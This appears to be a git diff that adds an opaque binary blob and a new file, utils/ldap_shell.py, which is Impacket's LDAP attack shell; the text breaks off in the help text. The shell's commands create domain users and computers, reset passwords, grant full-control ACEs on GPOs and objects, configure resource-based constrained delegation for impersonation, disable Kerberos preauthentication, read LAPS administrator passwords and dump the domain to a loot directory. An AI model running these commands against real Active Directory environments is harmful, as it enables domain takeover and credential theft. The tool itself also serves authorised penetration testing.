zN3TE+s5il7`v)jkG08XBn{S}%BiA>fumFPk3pn0Z4W<=ub*s_X{@^)`>A~!5YpbCg z4# zDs9TSU2io6E!pgYUPy)AZcDQWBnz;-mS&0aSP$C8NG7bgMOaI6P&!Jqv4l!TTG8w; zLh4Qi_z~9Zz)lnW)4>9fd6*aiks0a;MCQ?N5OFeUtdn}rAc?&@(#b%09*6Lph47r~ zduMYO+VE$UqrLcG7*~Gb|+M_7R`Scpo7; z(_qp*G$VEjLWNT&Hx3OWf(-2<CH z|00t1>Aqz_F30iiBSz}?SUhJ0KZspV;m(LU6a$xPH{Fe@5eS>B^|dV{vS7gV1o(Gg zJ*&UWKEHybTnvT{M9czV)>?Wy7*lZAKw93a!`Y!0$i8&V+KCfxxfq zCv6FJdSPW>NzGZ-+n7a+HPlQ*YZCow`O=aDo^XS5;OPeaJ!Jp{g| z;e$WJ9FsrKgdixQo5*rJCnHg{tQ?or~(}-gvtKJk+*8eCBPr$Gbxedk~$XN&X-4lHn zNh3}yWBq-6i3~ZPg-;8z6x=c$n`VRi{S{GMD}ga0{5*N%rCs`hqOy!;%c?t)TKm zGxHqQ-NNF7BiBJdVdHz`iU&uqwFVhr>T@@4xVrshxE?txvihL&h?SKq zv8!#gpXguOEKcX-uuh0vrpGdE{eZIy+DC1<;9 zFvznf!-@;iley1IHdbQJWTKP(*4#wTnydJ&iWEKwDEGK|h9T^yz=cgZX-`_m@O=Vl z`}n>~D{i81jd6X^Bq4klaU1a(qsJqb;}3`TG!Gue9K%q-XYp#I*$zAwD=z7$=~6l* za<|IB1Q@kq>z@V(hJ-I1INQU44Ue{{7oc{bM{3WJi|-c6pRwx5)pP5R@#(GtFa0b^ zmwKf2=-CjSZD5qcVfm3*T8~PMqQvJ>VywRea%je4sjyD@z+%_#w2#S&GfC_d-0QU_ zMflRSCpilcAl<5RPIawNo^!{Aj{>0px9bYJF6f_V4_$Ho1!g9vd^hLC~jAJV2l_w;vG!=6h(}G}BWcrZ!%p82l)4c%Z30+mLWC+Yn(< zR7?@gf)t{#vJk9biGmD=A{6A*`^g<_E0x|#c#rwq7Eq+&K+Ir!KIvzn=EixUnu_Nt zCki-}Xei4$Y&FDMb&?d4MP1HA^o`Z!-6C9k(#CFyWw7Cg)`!6+M()81z6Lj6s5~du zM^y>iF^3KHIkX5{zOntvn9Q?bJiCQa(c#DPqw#i(YEv-&B1&-c^^`yk)#;v`^2DOP z4>F0$`r!12H@9?lhAv=NEw^TB{*~ry?#*gr^~&lMShe&5QTD%N%GPZ)TXFeDSzan6OyP;qt zyr<^ehPx)}VyKM5^M<}4n*BKYV(j7i;%7+_Q5uC;eVbopueiMX1e2I`8RfCYJYiSi zw)iG9zJnyl!0d*13JT_0!Q1Lr_;f%bLI6@l-lL*#)YLrpg@a;Gz%~V25){N?FsGbt z+*ds+;-P;0Atj`RzU@G396z!hPUFT$To0EPmIFe(?!hpQyClOH;PZxuIa+q*OQ5L@C9g{0Sz&i%7c|-#V z)bJ*ueTsDrPb8Kp^sT32YNQw2N0$JPq{b2^)Td$qqa@?iNRp8_b5)GS?VpM>WNm^c zopH8XTjEJ?w(dYxU{m6dInn<3f{$I}!iO9csWuSpqPA%)LEIB9JN`|0z1MC!RY$r8 zyJ@fu=|mD_jpj zE)oU?M@v2umW`U&z?db*ZPXetnhX@&vq+-x>fgn9@7s&Z`aj`D|7RuxRHFAe9BMf7 zO?0b2K+yqja(}5>5+$O)J|*M~>Lb98szH}K*)exQBoVk%n&BT^4kTO&e$0n+C2}LE zFwdh5;>aSQ5ri~8$Fj?` z#F!xb$jFudhEGA&g#JfJ9y}h~Qn{EyD{JUP0#7l{iU;Q+yXoFSP8_S!$6bDi&^7WS zGZ$egT@Ir-@>M2lOnNmS+7Iby;T8$TuU|k6_3V}Fi_4X{g{7I-F3lSO?AKY129|-v ztA7u99ta~Q$dvVjm>GvfD{*k-3Z(~JT5Es73(L|c|&%+t} z6$nVm!j#9}4A}UR-$G0nL@>lNi4M(R2rM~9NPPuCbtZQ%@pcwV8&BwJhcoviG@$gC z6RQZNgcg+R*pUqq3n_!ekMM;xtAn<$C4K>%O(3YSXw-s<8RyoP3zJW;?GE9Ge~-lb z+f2U3h(K7z8INb`hC*OzCX~g!xU@l7jE^5I{9%~iR zvx9i|Z)04OGV(DABQ!3#s01Qa^glp}!~G?YbEH3~d~^}s;ZK_2lJ=*ldW%kfdZ{lm zuq;ZxueaQ1RuTPxm^g&_K|?TRbmz1?y*BNvdm9W_WT{@q+l3&-tYyfQtlEA?-0+B8 zsjt!nFD-3s;XJ_&*KyGR4OA#kqpeifmw^cHAluOY6-oQ}!?{AtI`n^I@keXmY-c#uzyl8SYtetz!(5=$ zLu`jizsJM%_yBYb_SLuliIegE|0uo~`4VO_unup?2V3dNJG*dX`H0Pf6L$Ap8(@8p1p%<#$+5FgWBvAM@^!(dC>Sliblh!w9V zA|oJosKl0~KY{1n&`ZWxGBA-elymtt;OC01e!s)197kzdAZU@G!92%EnLz{jo~nJ*O2v}PUZ(YB zyDJ+0=mv7A=QtRE0DFeNa58Bwr@5OJwl25M#@rfHhmd}7^!HN|-cp2}Z?4OuA&e&V zW$>|5H?N0pvj+zG!`_FW7zFskd7WJ!3hjIdaET&b_w9ZSfC@YFfy=)J%6Fw zi}d`}NA{e@kpa_l0X>7W_w+p039XIoAqm8RzK1c6k|t^#^eMiPXb$0+*4XynwIKe| z$g?}n!v=3AnmBsZDN-s}KY+;9#O^^JM<7DVTTJo|Ro*|eKGiAi9*(S(py33!nv^-B z4x*n7q=N5ZWRu(+xE?}eabJXLPgxV|3RDhdh$HGqY`aXaoA!=MJS^RBG}SOSEQ6fK z`g6+1dz=Xmezw;TNvn!6xQURlhM+dzHSwgLY^7_j&CXG`tJdC`#&$z&%WcRFr&R1; zkgyl}7pCPPg1*9yf<4fydwzyruOYdhMRxeN{QmElTt@O>!fgGEVds%mGx{EyHT5zp zyu{=UCe-=bN9S-N%7o@np6N4ewx{4|qw(lw)uUyICvACd5?*;EIV3@0p{d-vLVaT#J;XAj1OLA9WMp3WEo6#-P}NQ!hk7oI8ll3GC_H zXiKmeF$gj4`Mqv0f`DIpWY0uE({qNW8-Re_o`)mrRr@9JsKAAeF^+J=z+4=-LXA-( zQ>Va#SL>rNAvill z0IC*3R1JFyQ8g2zYKmt8;0nzOsusGa8V61uVYm{tG@J-HihdFO4@@npsSfnl-mn0n zvnhR8N}mML3Ij6X50cY?#Id^aUKXrtXB_+ivgX(vg@N|`#SkcAkckZ62&0DnCx-8q zgD;FXc2w5^1X+pU)*;k0P}tz->Ag-O@nY@;(`NyuHF%l{sCAzG#u+w5I7twX2S*mh zi1@^+v-HCC=dSA3-R++UWFIQ7{cwEMgwtTeL|Vs3W_5;i{sf8llOQdAeIlWAOo*hq zz`HKG;`b;L;-umc+`$vm61xM3wRo8vK$u4`H#kZZ<)`0kHHf5>F#QbUxYh(qTlOEN z{;-ra$m&RJb|13#$Mr=0_JJx@LYmbt;^S>1!IF+O1^jRUfH4$Wut5L-Pco_kZdkZ@ z0SvGizCA$$QHMtHEMt818AL+Z+;k={+IqL95LpdnQoo4j;vu>}WQ664n^bKJQB-QDlTrB5!c1!#sKn z6@nasrHwE!Kn*JHiqxRriATO|9{vMWGT_<0RG@mIntQ0g;fPMc&iOkj`oG}Ds7AjX z-$|!p)TCz;5r2LYed-e^FyN8ovpt=V+|miPpvVU+E684~{ub78!RbA-K-Z!<#r0Mc z8S=LCmN^LZwsY1&xE7$Y|LjzVh@r1mq8EvfUThnSTAFqiR)KnQNDGJ?7dX@H^-jIf zpaso@U@8+3D-QlDpu7ne9{Ofvc@<`Ko&<81t}arX7871{(5wKP9)-D{c>128YK~qe z6z{X-BHEmz?Kc$m_+Ws?J?GL)K&qU~5h6%*_q3rQ?GMtn+<<-zS0vG9}jlmScfuIQstZV=2{t^Z}i4zjI8X-7OmNHJ68@Z@Xw4i#%)_C)_+!fHH_+x;yMFHcK=PE_|{1L^~8i@Vr*7E=M|KCr3*s#)X07 zCuI(_SI>#oO{gG&tRiIL_&Hv>M|X@G4h5-jV-2>>Ma)q~tqnexDIK)n8hZAa`DLF= zJ1{Fhg%c$PE)ccno~3!2F-A2L-y?Q>cG_#Z4|`#l%)?&qQG=A8t2gR6Nx#h(ilj=h z2!t;fl3~C1!y});6tY5j;DjAb7uclTBZN@)1!U`fH`KgY)7zUAi-{?W04X^A=i&|3aY`Om1`PEL9-7Bk z`{o^o_c;b3)@DmOmHQZ-%<0Ckk=UIAONt4$!g(B=W#V|TCx31SV<6K*Z_AY0DMfR? zled6H5OMJH2_pGCjGywSpl*?elTYr6@!``Sk)w*Ab+Mg(ZQDIjSk?!?-1UB);;dn1 z{>p_fvrqDU`Kg$mU;8nS7t1I3`%}WhDnX%Afhw_u@RdqXs=(t}ZI~zeL$n~j_oN-( zeT2y;n1~tV7VrKNlfT8}A2RtDO#T&wt@=KG_R{5y@v+TN!1cybpJ@b=IcbT`! zyzvHqI%2xk((ZH=1IS4ZM$H5H-YkMw ZLE`WSh=wV1n}1r0=on*q44=v5{{wRVbSeM< literal 0 HcmV?d00001 diff --git a/utils/ldap_shell.py b/utils/ldap_shell.py new file mode 100755 index 0000000..488a910 --- /dev/null +++ b/utils/ldap_shell.py @@ -0,0 +1,649 @@ +# Impacket - Collection of Python classes for working with network protocols. +# +# SECUREAUTH LABS. Copyright (C) 2022 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +# Description: +# Mini shell using some of the LDAP functionalities of the library +# +# Author: +# Mathieu Gascon-Lefebvre (@mlefebvre) +# +import re +import string +import sys +import cmd +import random +import ldap3 +from ldap3.core.results import RESULT_UNWILLING_TO_PERFORM +from ldap3.utils.conv import escape_filter_chars +from six import PY2 +import shlex +from impacket import LOG +from ldap3.protocol.microsoft import security_descriptor_control +from impacket.ldap.ldaptypes import ACCESS_ALLOWED_OBJECT_ACE, ACCESS_MASK, ACCESS_ALLOWED_ACE, ACE, OBJECTTYPE_GUID_MAP +from impacket.ldap import ldaptypes + + +class LdapShell(cmd.Cmd): + LDAP_MATCHING_RULE_IN_CHAIN = "1.2.840.113556.1.4.1941" + + def __init__(self, base_DN, domain_dumper, client): + cmd.Cmd.__init__(self) + self.base_DN = base_DN + self.use_rawinput = True + + self.prompt = '\n[%s]> '%self.base_DN + self.tid = None + self.intro = 'Type help for list of commands' + self.loggedIn = True + self.last_output = None + self.completion = [] + self.client = client + self.domain_dumper = domain_dumper + + def emptyline(self): + pass + + def onecmd(self, s): + ret_val = False + try: + ret_val = cmd.Cmd.onecmd(self, s) + except Exception as e: + print(e) + LOG.error(e) + LOG.debug('Exception info', exc_info=True) + + return ret_val + + def create_empty_sd(self): + sd = ldaptypes.SR_SECURITY_DESCRIPTOR() + sd['Revision'] = b'\x01' + sd['Sbz1'] = b'\x00' + sd['Control'] = 32772 + sd['OwnerSid'] = ldaptypes.LDAP_SID() + # BUILTIN\Administrators + sd['OwnerSid'].fromCanonical('S-1-5-32-544') + sd['GroupSid'] = b'' + sd['Sacl'] = b'' + acl = ldaptypes.ACL() + acl['AclRevision'] = 4 + acl['Sbz1'] = 0 + acl['Sbz2'] = 0 + acl.aces = [] + sd['Dacl'] = acl + return sd + + def create_allow_ace(self, sid): + nace = ldaptypes.ACE() + nace['AceType'] = ldaptypes.ACCESS_ALLOWED_ACE.ACE_TYPE + nace['AceFlags'] = 0x00 + acedata = ldaptypes.ACCESS_ALLOWED_ACE() + acedata['Mask'] = ldaptypes.ACCESS_MASK() + acedata['Mask']['Mask'] = 983551 # Full control + acedata['Sid'] = ldaptypes.LDAP_SID() + acedata['Sid'].fromCanonical(sid) + nace['Ace'] = acedata + return nace + + def do_write_gpo_dacl(self, line): + args = shlex.split(line) + print ("Adding %s to GPO with GUID %s" % (args[0], args[1])) + if len(args) != 2: + raise Exception("A samaccountname and GPO sid are required.") + + tgtUser = args[0] + gposid = args[1] + self.client.search(self.domain_dumper.root, '(&(objectclass=person)(sAMAccountName=%s))' % tgtUser, attributes=['objectSid']) + if len( self.client.entries) <= 0: + raise Exception("Didnt find the given user") + + user = self.client.entries[0] + + controls = security_descriptor_control(sdflags=0x04) + self.client.search(self.domain_dumper.root, '(&(objectclass=groupPolicyContainer)(name=%s))' % gposid, attributes=['objectSid','nTSecurityDescriptor'], controls=controls) + + if len( self.client.entries) <= 0: + raise Exception("Didnt find the given gpo") + gpo = self.client.entries[0] + + secDescData = gpo['nTSecurityDescriptor'].raw_values[0] + secDesc = ldaptypes.SR_SECURITY_DESCRIPTOR(data=secDescData) + newace = self.create_allow_ace(str(user['objectSid'])) + secDesc['Dacl']['Data'].append(newace) + data = secDesc.getData() + + self.client.modify(gpo.entry_dn, {'nTSecurityDescriptor':(ldap3.MODIFY_REPLACE, [data])}, controls=controls) + if self.client.result["result"] == 0: + print('LDAP server claims to have taken the secdescriptor. Have fun') + else: + raise Exception("Something wasnt right: %s" %str(self.client.result['description'])) + + def do_add_computer(self, line): + args = shlex.split(line) + + if not self.client.server.ssl and not self.client.tls_started: + print("Error adding a new computer with LDAP requires LDAPS.") + + if len(args) != 1 and len(args) != 2 and len(args) !=3: + raise Exception("Error expected a computer name, an optional password argument, and an optional nospns argument.") + + computer_name = args[0] + if not computer_name.endswith('$'): + computer_name += '$' + + print("Attempting to add a new computer with the name: %s" % computer_name) + + password = "" + if len(args) == 1 or args[1] == "nospns": + password = ''.join(random.choice(string.ascii_letters + string.digits + string.punctuation) for _ in range(15)) + else: + password = args[1] + + domain_dn = self.domain_dumper.root + domain = re.sub(',DC=', '.', domain_dn[domain_dn.find('DC='):], flags=re.I)[3:] + + print("Inferred Domain DN: %s" % domain_dn) + print("Inferred Domain Name: %s" % domain) + + computer_hostname = computer_name[:-1] # Remove $ sign + computer_dn = "CN=%s,CN=Computers,%s" % (computer_hostname, self.domain_dumper.root) + print("New Computer DN: %s" % computer_dn) + + if len(args) == 3: + if args[2] == "nospns": + spns = [ + 'HOST/%s.%s' % (computer_hostname, domain) + ] + else: + raise Exception("Invalid third argument: %s" %str(args[3])) + elif len(args) == 2: + if args[1] != "nospns": + spns = [ + 'HOST/%s' % computer_hostname, + 'HOST/%s.%s' % (computer_hostname, domain), + 'RestrictedKrbHost/%s' % computer_hostname, + 'RestrictedKrbHost/%s.%s' % (computer_hostname, domain), + ] + elif args[1] == "nospns": + spns = [ + 'HOST/%s.%s' % (computer_hostname, domain) + ] + elif len(args) == 1: + spns = [ + 'HOST/%s' % computer_hostname, + 'HOST/%s.%s' % (computer_hostname, domain), + 'RestrictedKrbHost/%s' % computer_hostname, + 'RestrictedKrbHost/%s.%s' % (computer_hostname, domain), + ] + else: + raise Exception("Invalid third argument: %s" %str(self.args[3])) + ucd = { + 'dnsHostName': '%s.%s' % (computer_hostname, domain), + 'userAccountControl': 4096, + 'servicePrincipalName': spns, + 'sAMAccountName': computer_name, + 'unicodePwd': '"{}"'.format(password).encode('utf-16-le') + } + + res = self.client.add(computer_dn, ['top','person','organizationalPerson','user','computer'], ucd) + + if not res: + if self.client.result['result'] == RESULT_UNWILLING_TO_PERFORM: + print("Failed to add a new computer. The server denied the operation.") + else: + print('Failed to add a new computer: %s' % str(self.client.result)) + else: + print('Adding new computer with username: %s and password: %s result: OK' % (computer_name, password)) + + def do_rename_computer(self, line): + args = shlex.split(line) + + if len(args) != 2: + raise Exception("Current Computer sAMAccountName and New Computer sAMAccountName required (rename_computer comp1$ comp2$).") + + current_name = args[0] + + new_name = args[1] + + self.client.search(self.domain_dumper.root, '(sAMAccountName=%s)' % escape_filter_chars(current_name), attributes=['objectSid', 'sAMAccountName']) + computer_dn = self.client.entries[0].entry_dn + + if not computer_dn: + raise Exception("Computer not found in LDAP: %s" % current_name) + + entry = self.client.entries[0] + samAccountName = entry["samAccountName"].value + print("Original sAMAccountName: %s" % samAccountName) + + print("New sAMAccountName: %s" % new_name) + self.client.modify(computer_dn, {'sAMAccountName':(ldap3.MODIFY_REPLACE, [new_name])}) + + if self.client.result["result"] == 0: + print("Updated sAMAccountName successfully") + else: + if self.client.result['result'] == 50: + raise Exception('Could not modify object, the server reports insufficient rights: %s', self.client.result['message']) + elif self.client.result['result'] == 19: + raise Exception('Could not modify object, the server reports a constrained violation: %s', self.client.result['message']) + else: + raise Exception('The server returned an error: %s', self.client.result['message']) + + def do_add_user(self, line): + args = shlex.split(line) + + if not self.client.server.ssl and not self.client.tls_started: + print("Error adding a new user with LDAP requires LDAPS.") + + if len(args) == 0: + raise Exception("A username is required.") + + new_user = args[0] + if len(args) == 1: + parent_dn = 'CN=Users,%s' % self.domain_dumper.root + else: + parent_dn = args[1] + + new_password = ''.join(random.choice(string.ascii_letters + string.digits + string.punctuation) for _ in range(15)) + + new_user_dn = 'CN=%s,%s' % (new_user, parent_dn) + ucd = { + 'objectCategory': 'CN=Person,CN=Schema,CN=Configuration,%s' % self.domain_dumper.root, + 'distinguishedName': new_user_dn, + 'cn': new_user, + 'sn': new_user, + 'givenName': new_user, + 'displayName': new_user, + 'name': new_user, + 'userAccountControl': 512, + 'accountExpires': '0', + 'sAMAccountName': new_user, + 'unicodePwd': '"{}"'.format(new_password).encode('utf-16-le') + } + + print('Attempting to create user in: %s', parent_dn) + res = self.client.add(new_user_dn, ['top', 'person', 'organizationalPerson', 'user'], ucd) + if not res: + if self.client.result['result'] == RESULT_UNWILLING_TO_PERFORM and not self.client.server.ssl: + raise Exception('Failed to add a new user. The server denied the operation. Try relaying to LDAP with TLS enabled (ldaps) or escalating an existing user.') + else: + raise Exception('Failed to add a new user: %s' % str(self.client.result['description'])) + else: + print('Adding new user with username: %s and password: %s result: OK' % (new_user, new_password)) + + def do_add_user_to_group(self, line): + user_name, group_name = shlex.split(line) + + user_dn = self.get_dn(user_name) + if not user_dn: + raise Exception("User not found in LDAP: %s" % user_name) + + group_dn = self.get_dn(group_name) + if not group_dn: + raise Exception("Group not found in LDAP: %s" % group_name) + + user_name = user_dn.split(',')[0][3:] + group_name = group_dn.split(',')[0][3:] + + res = self.client.modify(group_dn, {'member': [(ldap3.MODIFY_ADD, [user_dn])]}) + if res: + print('Adding user: %s to group %s result: OK' % (user_name, group_name)) + else: + raise Exception('Failed to add user to %s group: %s' % (group_name, str(self.client.result['description']))) + + def do_change_password(self, line): + args = shlex.split(line) + + if len(args) != 1 and len(args) != 2: + raise Exception("Error expected a username and an optional password argument. Instead %d arguments were provided" % len(args)) + + user_dn = self.get_dn(args[0]) + print("Got User DN: " + user_dn) + + password = "" + if len(args) == 1: + password = ''.join(random.choice(string.ascii_letters + string.digits + string.punctuation) for _ in range(15)) + else: + password = args[1] + + print("Attempting to set new password of: %s" % password) + success = self.client.extend.microsoft.modify_password(user_dn, password) + + if self.client.result['result'] == 0: + print('Password changed successfully!') + else: + if self.client.result['result'] == 50: + raise Exception('Could not modify object, the server reports insufficient rights: %s', self.client.result['message']) + elif self.client.result['result'] == 19: + raise Exception('Could not modify object, the server reports a constrained violation: %s', self.client.result['message']) + else: + raise Exception('The server returned an error: %s', self.client.result['message']) + + def do_clear_rbcd(self, computer_name): + + success = self.client.search(self.domain_dumper.root, '(sAMAccountName=%s)' % escape_filter_chars(computer_name), attributes=['objectSid', 'msDS-AllowedToActOnBehalfOfOtherIdentity']) + if success is False or len(self.client.entries) != 1: + raise Exception("Error expected only one search result got %d results", len(self.client.entries)) + + target = self.client.entries[0] + target_sid = target["objectsid"].value + print("Found Target DN: %s" % target.entry_dn) + print("Target SID: %s\n" % target_sid) + + sd = self.create_empty_sd() + + self.client.modify(target.entry_dn, {'msDS-AllowedToActOnBehalfOfOtherIdentity':[ldap3.MODIFY_REPLACE, [sd.getData()]]}) + if self.client.result['result'] == 0: + print('Delegation rights cleared successfully!') + else: + if self.client.result['result'] == 50: + raise Exception('Could not modify object, the server reports insufficient rights: %s', self.client.result['message']) + elif self.client.result['result'] == 19: + raise Exception('Could not modify object, the server reports a constrained violation: %s', self.client.result['message']) + else: + raise Exception('The server returned an error: %s', self.client.result['message']) + + def do_dump(self, line): + print('Dumping domain info...') + self.stdout.flush() + self.domain_dumper.domainDump() + print('Domain info dumped into lootdir!') + + def do_start_tls(self, line): + if not self.client.tls_started and not self.client.server.ssl: + print('Sending StartTLS command...') + if not self.client.start_tls(): + raise Exception("StartTLS failed") + else: + print('StartTLS succeded, you are now using LDAPS!') + else: + print('It seems you are already connected through a TLS channel.') + + def do_disable_account(self, username): + self.toggle_account_enable_disable(username, False) + + def do_enable_account(self, username): + self.toggle_account_enable_disable(username, True) + + def toggle_account_enable_disable(self, user_name, enable): + UF_ACCOUNT_DISABLE = 2 + self.client.search(self.domain_dumper.root, '(sAMAccountName=%s)' % escape_filter_chars(user_name), attributes=['objectSid', 'userAccountControl']) + + if len(self.client.entries) != 1: + raise Exception("Error expected only one search result got %d results", len(self.client.entries)) + + user_dn = self.client.entries[0].entry_dn + if not user_dn: + raise Exception("User not found in LDAP: %s" % user_name) + + entry = self.client.entries[0] + userAccountControl = entry["userAccountControl"].value + + print("Original userAccountControl: %d" % userAccountControl) + + if enable: + userAccountControl = userAccountControl & ~UF_ACCOUNT_DISABLE + else: + userAccountControl = userAccountControl | UF_ACCOUNT_DISABLE + + self.client.modify(user_dn, {'userAccountControl':(ldap3.MODIFY_REPLACE, [userAccountControl])}) + + if self.client.result['result'] == 0: + print("Updated userAccountControl attribute successfully") + else: + if self.client.result['result'] == 50: + raise Exception('Could not modify object, the server reports insufficient rights: %s', self.client.result['message']) + elif self.client.result['result'] == 19: + raise Exception('Could not modify object, the server reports a constrained violation: %s', self.client.result['message']) + else: + raise Exception('The server returned an error: %s', self.client.result['message']) + + def do_search(self, line): + arguments = shlex.split(line) + if len(arguments) == 0: + raise Exception("A query is required.") + + filter_attributes = ['name', 'distinguishedName', 'sAMAccountName'] + attributes = filter_attributes[:] + attributes.append('objectSid') + for argument in arguments[1:]: + attributes.append(argument) + + search_query = "".join("(%s=*%s*)" % (attribute, escape_filter_chars(arguments[0])) for attribute in filter_attributes) + self.search('(|%s)' % search_query, *attributes) + + def do_set_dontreqpreauth(self, line): + UF_DONT_REQUIRE_PREAUTH = 4194304 + + args = shlex.split(line) + if len(args) != 2: + raise Exception("Username (SAMAccountName) and true/false flag required (e.g. jsmith true).") + + user_name = args[0] + flag_str = args[1] + flag = False + + if flag_str.lower() == "true": + flag = True + elif flag_str.lower() == "false": + flag = False + else: + raise Exception("The specified flag must be either true or false") + + self.client.search(self.domain_dumper.root, '(sAMAccountName=%s)' % escape_filter_chars(user_name), attributes=['objectSid', 'userAccountControl']) + if len(self.client.entries) != 1: + raise Exception("Error expected only one search result got %d results", len(self.client.entries)) + + user_dn = self.client.entries[0].entry_dn + if not user_dn: + raise Exception("User not found in LDAP: %s" % user_name) + + entry = self.client.entries[0] + userAccountControl = entry["userAccountControl"].value + print("Original userAccountControl: %d" % userAccountControl) + + if flag: + userAccountControl = userAccountControl | UF_DONT_REQUIRE_PREAUTH + else: + userAccountControl = userAccountControl & ~UF_DONT_REQUIRE_PREAUTH + + print("Updated userAccountControl: %d" % userAccountControl) + self.client.modify(user_dn, {'userAccountControl':(ldap3.MODIFY_REPLACE, [userAccountControl])}) + + if self.client.result['result'] == 0: + print("Updated userAccountControl attribute successfully") + else: + if self.client.result['result'] == 50: + raise Exception('Could not modify object, the server reports insufficient rights: %s', self.client.result['message']) + elif self.client.result['result'] == 19: + raise Exception('Could not modify object, the server reports a constrained violation: %s', self.client.result['message']) + else: + raise Exception('The server returned an error: %s', self.client.result['message']) + + def do_get_user_groups(self, user_name): + user_dn = self.get_dn(user_name) + if not user_dn: + raise Exception("User not found in LDAP: %s" % user_name) + + self.search('(member:%s:=%s)' % (LdapShell.LDAP_MATCHING_RULE_IN_CHAIN, escape_filter_chars(user_dn))) + + def do_get_group_users(self, group_name): + group_dn = self.get_dn(group_name) + if not group_dn: + raise Exception("Group not found in LDAP: %s" % group_name) + + self.search('(memberof:%s:=%s)' % (LdapShell.LDAP_MATCHING_RULE_IN_CHAIN, escape_filter_chars(group_dn)), "sAMAccountName", "name") + + def do_get_laps_password(self, computer_name): + + self.client.search(self.domain_dumper.root, '(sAMAccountName=%s)' % escape_filter_chars(computer_name), attributes=['ms-MCS-AdmPwd']) + if len(self.client.entries) != 1: + raise Exception("Error expected only one search result got %d results", len(self.client.entries)) + + computer = self.client.entries[0] + print("Found Computer DN: %s" % computer.entry_dn) + + password = computer["ms-MCS-AdmPwd"].value + + if password is not None: + print("LAPS Password: %s" % password) + else: + print("Unable to Read LAPS Password for Computer") + + def do_grant_control(self, line): + args = shlex.split(line) + + if len(args) != 1 and len(args) != 2: + raise Exception("Error expecting target and grantee names for RBCD attack. Recieved %d arguments instead." % len(args)) + + controls = security_descriptor_control(sdflags=0x04) + + target_name = args[0] + grantee_name = args[1] + + success = self.client.search(self.domain_dumper.root, '(sAMAccountName=%s)' % escape_filter_chars(target_name), attributes=['objectSid', 'nTSecurityDescriptor'], controls=controls) + if success is False or len(self.client.entries) != 1: + raise Exception("Error expected only one search result got %d results", len(self.client.entries)) + + target = self.client.entries[0] + target_sid = target["objectSid"].value + print("Found Target DN: %s" % target.entry_dn) + print("Target SID: %s\n" % target_sid) + + success = self.client.search(self.domain_dumper.root, '(sAMAccountName=%s)' % escape_filter_chars(grantee_name), attributes=['objectSid']) + if success is False or len(self.client.entries) != 1: + raise Exception("Error expected only one search result got %d results", len(self.client.entries)) + + grantee = self.client.entries[0] + grantee_sid = grantee["objectSid"].value + print("Found Grantee DN: %s" % grantee.entry_dn) + print("Grantee SID: %s" % grantee_sid) + + try: + sd = ldaptypes.SR_SECURITY_DESCRIPTOR(data=target['nTSecurityDescriptor'].raw_values[0]) + except IndexError: + sd = self.create_empty_sd() + + sd['Dacl'].aces.append(self.create_allow_ace(grantee_sid)) + self.client.modify(target.entry_dn, {'nTSecurityDescriptor':[ldap3.MODIFY_REPLACE, [sd.getData()]]}, controls=controls) + + if self.client.result['result'] == 0: + print('DACL modified successfully!') + print('%s now has control of %s' % (grantee_name, target_name)) + else: + if self.client.result['result'] == 50: + raise Exception('Could not modify object, the server reports insufficient rights: %s', self.client.result['message']) + elif self.client.result['result'] == 19: + raise Exception('Could not modify object, the server reports a constrained violation: %s', self.client.result['message']) + else: + raise Exception('The server returned an error: %s', self.client.result['message']) + + def do_set_rbcd(self, line): + args = shlex.split(line) + + if len(args) != 1 and len(args) != 2: + raise Exception("Error expecting target and grantee names for RBCD attack. Recieved %d arguments instead." % len(args)) + + target_name = args[0] + grantee_name = args[1] + + target_sid = args[0] + grantee_sid = args[1] + + success = self.client.search(self.domain_dumper.root, '(sAMAccountName=%s)' % escape_filter_chars(target_name), attributes=['objectSid', 'msDS-AllowedToActOnBehalfOfOtherIdentity']) + if success is False or len(self.client.entries) != 1: + raise Exception("Error expected only one search result got %d results", len(self.client.entries)) + + target = self.client.entries[0] + target_sid = target["objectSid"].value + print("Found Target DN: %s" % target.entry_dn) + print("Target SID: %s\n" % target_sid) + + success = self.client.search(self.domain_dumper.root, '(sAMAccountName=%s)' % escape_filter_chars(grantee_name), attributes=['objectSid']) + if success is False or len(self.client.entries) != 1: + raise Exception("Error expected only one search result got %d results", len(self.client.entries)) + + grantee = self.client.entries[0] + grantee_sid = grantee["objectSid"].value + print("Found Grantee DN: %s" % grantee.entry_dn) + print("Grantee SID: %s" % grantee_sid) + + try: + sd = ldaptypes.SR_SECURITY_DESCRIPTOR(data=target['msDS-AllowedToActOnBehalfOfOtherIdentity'].raw_values[0]) + print('Currently allowed sids:') + for ace in sd['Dacl'].aces: + print(' %s' % ace['Ace']['Sid'].formatCanonical()) + + if ace['Ace']['Sid'].formatCanonical() == grantee_sid: + print("Grantee is already permitted to perform delegation to the target host") + return + + except IndexError: + sd = self.create_empty_sd() + + sd['Dacl'].aces.append(self.create_allow_ace(grantee_sid)) + self.client.modify(target.entry_dn, {'msDS-AllowedToActOnBehalfOfOtherIdentity':[ldap3.MODIFY_REPLACE, [sd.getData()]]}) + + if self.client.result['result'] == 0: + print('Delegation rights modified successfully!') + print('%s can now impersonate users on %s via S4U2Proxy' % (grantee_name, target_name)) + else: + if self.client.result['result'] == 50: + raise Exception('Could not modify object, the server reports insufficient rights: %s', self.client.result['message']) + elif self.client.result['result'] == 19: + raise Exception('Could not modify object, the server reports a constrained violation: %s', self.client.result['message']) + else: + raise Exception('The server returned an error: %s', self.client.result['message']) + + def search(self, query, *attributes): + self.client.search(self.domain_dumper.root, query, attributes=attributes) + for entry in self.client.entries: + print(entry.entry_dn) + for attribute in attributes: + value = entry[attribute].value + if value: + print("%s: %s" % (attribute, entry[attribute].value)) + if any(attributes): + print("---") + + def get_dn(self, sam_name): + if "," in sam_name: + return sam_name + + try: + self.client.search(self.domain_dumper.root, '(sAMAccountName=%s)' % escape_filter_chars(sam_name), attributes=['objectSid']) + return self.client.entries[0].entry_dn + except IndexError: + return None + + def do_exit(self, line): + return True + + def do_help(self, line): + print(""" + add_computer computer [password] [nospns] - Adds a new computer to the domain with the specified password. If nospns is specified, computer will be created with only a single necessary HOST SPN. Requires LDAPS. + rename_computer current_name new_name - Sets the SAMAccountName attribute on a computer object to a new value. + add_user new_user [parent] - Creates a new user. + add_user_to_group user group - Adds a user to a group. + change_password user [password] - Attempt to change a given user's password. Requires LDAPS. + clear_rbcd target - Clear the resource based constrained delegation configuration information. + disable_account user - Disable the user's account. + enable_account user - Enable the user's account. + dump - Dumps the domain. + search query [attributes,] - Search users and groups by name, distinguishedName and sAMAccountName. + get_user_groups user - Retrieves all groups this user is a member of. + get_group_users group - Retrieves all members of a group. + get_laps_password computer - Retrieves the LAPS 